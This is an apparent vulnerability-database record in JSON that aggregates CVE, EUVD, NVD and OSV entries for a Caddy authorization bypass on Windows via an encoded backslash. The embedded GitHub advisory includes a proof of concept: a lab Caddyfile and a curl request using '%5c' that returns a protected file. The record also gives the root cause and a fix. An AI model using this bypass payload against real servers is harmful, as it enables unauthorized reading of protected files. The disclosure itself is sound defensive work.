{"id":"EUVD-2026-38557","revision":null,"records":[{"revision":"42e23ad955fc4f3e876d3c2a073bcacd","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-52844","aliases":[],"title":"Caddy: Windows `file_server` path authorization bypass via encoded backslash","description":"Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, on Windows, Caddy path matchers treat /private\\secret.txt as outside /private/*, but file_server later resolves the same request path as private\\secret.txt on disk. An unauthenticated remote client can bypass Caddy path-scoped auth/deny routes protecting /private/*. This vulnerability is fixed in 2.11.4.","state":0,"publishedAt":"2026-06-23T17:50:42.386+00:00","modifiedAt":"2026-06-23T20:06:12.019+00:00","affected":[{"ecosystem":"Vendor product","name":"caddy","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"caddyserver\",\n                    \"product\": \"caddy\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.11.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-qrp7-cvwr-j2c6"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-52844","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-52844","identifiers":["CVE-2026-52844"]},"retained":false,"historicalAffected":[]},{"revision":"0012e7b95a0740d7b78d275213cab790","observedAt":"2026-11-07T11:36:26.325+00:00","statement":{"source":"euvd","id":"EUVD-2026-38557","aliases":["CVE-2026-52844","GHSA-qrp7-cvwr-j2c6"],"title":"Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, on Windows, Caddy path matchers treat /private\\secret.txt as outside /private/*, but file_server later resolves the same request path as private\\secret.txt on…","description":"Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, on Windows, Caddy path matchers treat /private\\secret.txt as outside /private/*, but file_server later resolves the same request path as private\\secret.txt on disk. An unauthenticated remote client can bypass Caddy path-scoped auth/deny routes protecting /private/*. This vulnerability is fixed in 2.11.4.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":null}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-qrp7-cvwr-j2c6"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-38557","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 23, 2026, 5:50:42 PM","dateUpdated":"Jun 23, 2026, 8:06:12 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-38557","identifiers":["EUVD-2026-38557","CVE-2026-52844","GHSA-qrp7-cvwr-j2c6"]},"retained":false,"historicalAffected":[]},{"revision":"e0f233567a8a4832966dbd711d0ddf3b","observedAt":"2026-10-27T14:13:17.111+00:00","statement":{"source":"nvd","id":"CVE-2026-52844","aliases":[],"title":"Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, on Windows, Caddy path matchers treat /private\\secret.txt as outside /private/*, but file_server later resolves the same request path as private\\secret.txt on…","description":"Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, on Windows, Caddy path matchers treat /private\\secret.txt as outside /private/*, but file_server later resolves the same request path as private\\secret.txt on disk. An unauthenticated remote client can bypass Caddy path-scoped auth/deny routes protecting /private/*. This vulnerability is fixed in 2.11.4.","state":0,"publishedAt":"2026-06-23T18:18:05.137+00:00","modifiedAt":"2026-10-25T23:10:00.167+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-qrp7-cvwr-j2c6"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-52844","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-22","CWE-284"],"productCriteria":["cpe:2.3:a:caddyserver:caddy:*:*:*:*:*:*:*:*","cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-06-23T18:18:05.137","lastModified":"2026-10-25T23:10:00.167"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-52844","identifiers":["CVE-2026-52844"]},"retained":false,"historicalAffected":[]},{"revision":"18fda3fb17e24c2c940edf169138d729","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-qrp7-cvwr-j2c6","aliases":["CVE-2026-52844","GO-2026-5595"],"title":"Caddy: Windows `file_server` path authorization bypass via encoded backslash","description":"### Summary\n\nOn Windows, Caddy `path` matchers treat `/private\\secret.txt` as outside `/private/*`, but `file_server` later resolves the same request path as `private\\secret.txt` on disk.\n\nAn unauthenticated remote client can request `/private%5csecret.txt` and bypass Caddy path-scoped auth/deny routes protecting `/private/*`.\n\n### Details\n\nThe mismatch is between two Caddy code paths:\n\n- `MatchPath.MatchWithError()` compares `r.URL.Path` using URL path semantics and does not normalize `\\` to `/`: `modules/caddyhttp/matchers.go:429`, `:436`, `:490`, `:532`.\n- If the route matcher misses, Caddy skips that route: `modules/caddyhttp/routes.go:271`.\n- `file_server` then maps the same request path to a filesystem path with `SanitizedPathJoin(root, r.URL.Path)`: `modules/caddyhttp/fileserver/staticfiles.go:294`, `modules/caddyhttp/caddyhttp.go:257`, `:263`.\n- On Windows, Go filesystem path handling treats `\\` as a separator, so the default filesystem opens the file under the protected directory: `internal/filesystems/os.go:18`.\n\nThis is related to, but distinct from, `GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585`. That advisory fixed backslash handling in the `file` matcher / `try_files` glob path. This report does not use `try_files` or the `file` matcher; it affects ordinary `path` route matchers in front of direct `file_server` serving and reproduces on current HEAD.\n\n### PoC\n\nTested on current HEAD `6c675e29f87cbe7326983ddb6d739175119d394c` with a Windows `caddy.exe` built from this repository.\n\nOn Windows, create the test files and Caddyfile:\n\n```powershell\n$base = \"C:\\Users\\Public\\caddy-backslash-poc\"\nRemove-Item -Recurse -Force $base -ErrorAction SilentlyContinue\nNew-Item -ItemType Directory -Force \"$base\\www\\private\" | Out-Null\nSet-Content -Path \"$base\\www\\private\\secret.txt\" -Value \"SECRET_FROM_WINDOWS_LAB\" -NoNewline -Encoding ASCII\n\n@'\n{\n\tdebug\n\tadmin off\n\tauto_https off\n}\n\n:19080 {\n\tlog\n\troot * C:\\Users\\Public\\caddy-backslash-poc\\www\n\n\t@private path /private/*\n\trespond @private 403\n\n\tfile_server\n}\n'@ | Set-Content -Path \"$base\\Caddyfile\" -Encoding ASCII\n```\n\nStart Caddy:\n\n```powershell\ncd C:\\Users\\Public\\caddy-backslash-poc\n.\\caddy.exe run --config Caddyfile --adapter caddyfile\n```\n\nBaseline request, expected to be blocked:\n\n```bash\ncurl -v --path-as-is http://<windows-host>:19080/private/secret.txt\n```\n\nObserved:\n\n```text\n> GET /private/secret.txt HTTP/1.1\n< HTTP/1.1 403 Forbidden\n```\n\nBypass request:\n\n```bash\ncurl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'\n```\n\nObserved:\n\n```text\n> GET /private%5csecret.txt HTTP/1.1\n< HTTP/1.1 200 OK\n< Content-Length: 23\n\nSECRET_FROM_WINDOWS_LAB\n```\n\nUppercase `%5C` produces the same result.\n\nRelevant debug log lines:\n\n```json\n{\"msg\":\"using config from file\",\"file\":\"C:\\\\Users\\\\Public\\\\caddy-backslash-poc\\\\Caddyfile\"}\n{\"logger\":\"http.log\",\"msg\":\"server running\",\"name\":\"srv0\",\"protocols\":[\"h1\",\"h2\",\"h3\"]}\n{\"logger\":\"http.log.access\",\"request\":{\"method\":\"GET\",\"uri\":\"/private/secret.txt\"},\"status\":403}\n{\"logger\":\"http.log.access\",\"request\":{\"method\":\"GET\",\"uri\":\"/private%5csecret.txt\"},\"status\":200}\n```\n\n### Impact\n\nThis is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before `file_server`.\n\nThis pattern is documented by Caddy itself, for example `basic_auth /secret/* { ... }` followed by `file_server`.\n\nAn attacker can read files that were intended to be protected by Caddy-side `basic_auth`, `respond 403`, or other path-scoped handlers. The issue does not escape the configured site root; `..%5c` traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.\n\n### Suggested Fix\n\nNormalize Windows path separators consistently before `MatchPath` evaluates request paths, or reject request paths containing `\\` before `file_server` resolves them as filesystem separators.\n\nThe important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.\n\n### AI Disclosure\n\nLLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows `caddy.exe` built from current HEAD.","state":0,"publishedAt":"2026-06-16T21:28:11+00:00","modifiedAt":"2026-07-24T19:11:20.6871336+00:00","affected":[{"ecosystem":"Go","name":"github.com/caddyserver/caddy/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.11.4"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/caddyserver/caddy","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"1.0.5"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-qrp7-cvwr-j2c6","https://nvd.nist.gov/vuln/detail/CVE-2026-52844","https://github.com/caddyserver/caddy"],"sourceUrl":"https://github.com/advisories/GHSA-qrp7-cvwr-j2c6","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qrp7-cvwr-j2c6","identifiers":["GHSA-qrp7-cvwr-j2c6","CVE-2026-52844","GO-2026-5595"]},"retained":false,"historicalAffected":[]},{"revision":"d60c8918a38d48218dd1f036d89fed69","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5595","aliases":["CVE-2026-52844","GHSA-qrp7-cvwr-j2c6"],"title":"Caddy: Windows file server path authorization bypass via encoded backslash in github.com/caddyserver/caddy","description":"Caddy: Windows file server path authorization bypass via encoded backslash in github.com/caddyserver/caddy","state":0,"publishedAt":"2026-07-24T18:35:55+00:00","modifiedAt":"2026-07-24T19:00:24.3171538+00:00","affected":[{"ecosystem":"Go","name":"github.com/caddyserver/caddy/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.11.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-qrp7-cvwr-j2c6"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5595","license":"OSV · upstream source license applies","key":"osv:GO-2026-5595","identifiers":["GO-2026-5595","CVE-2026-52844","GHSA-qrp7-cvwr-j2c6"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T20:07:23.8593986+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T20:07:23.8593986+00:00","lastSuccessAt":"2026-11-07T20:07:24.014368+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:24.014369+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-aac6631b84e101279eb6b1c3835f52bf7b26c50f4d25bc0fb35977235593f4a7","complete":true,"records":420943,"lastAttemptAt":"2026-11-07T20:07:23.1739993+00:00","lastSuccessAt":"2026-11-07T20:07:23.0712879+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.1739993+00:00","snapshotPublishedAt":"2026-11-07T19:18:33+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c5a2504558b549559b8658a653596391","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T20:19:26.3099435+00:00","lastSuccessAt":"2026-11-07T20:19:26.304+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:19:26.304+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T20:07:23.8593986+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T20:07:23.8593986+00:00","lastSuccessAt":"2026-11-07T20:07:24.0152025+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:24.0152028+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-191690d52ba04a91b1a2749fa6191ceb","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T20:07:42.8841875+00:00","lastSuccessAt":"2026-11-07T20:07:42.881+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:42.881+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T20:07:23.800032+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.800032+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T20:07:23.2420378+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.2420378+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T20:07:23.8227715+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.8227715+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T20:07:23.4659623+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.4659623+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}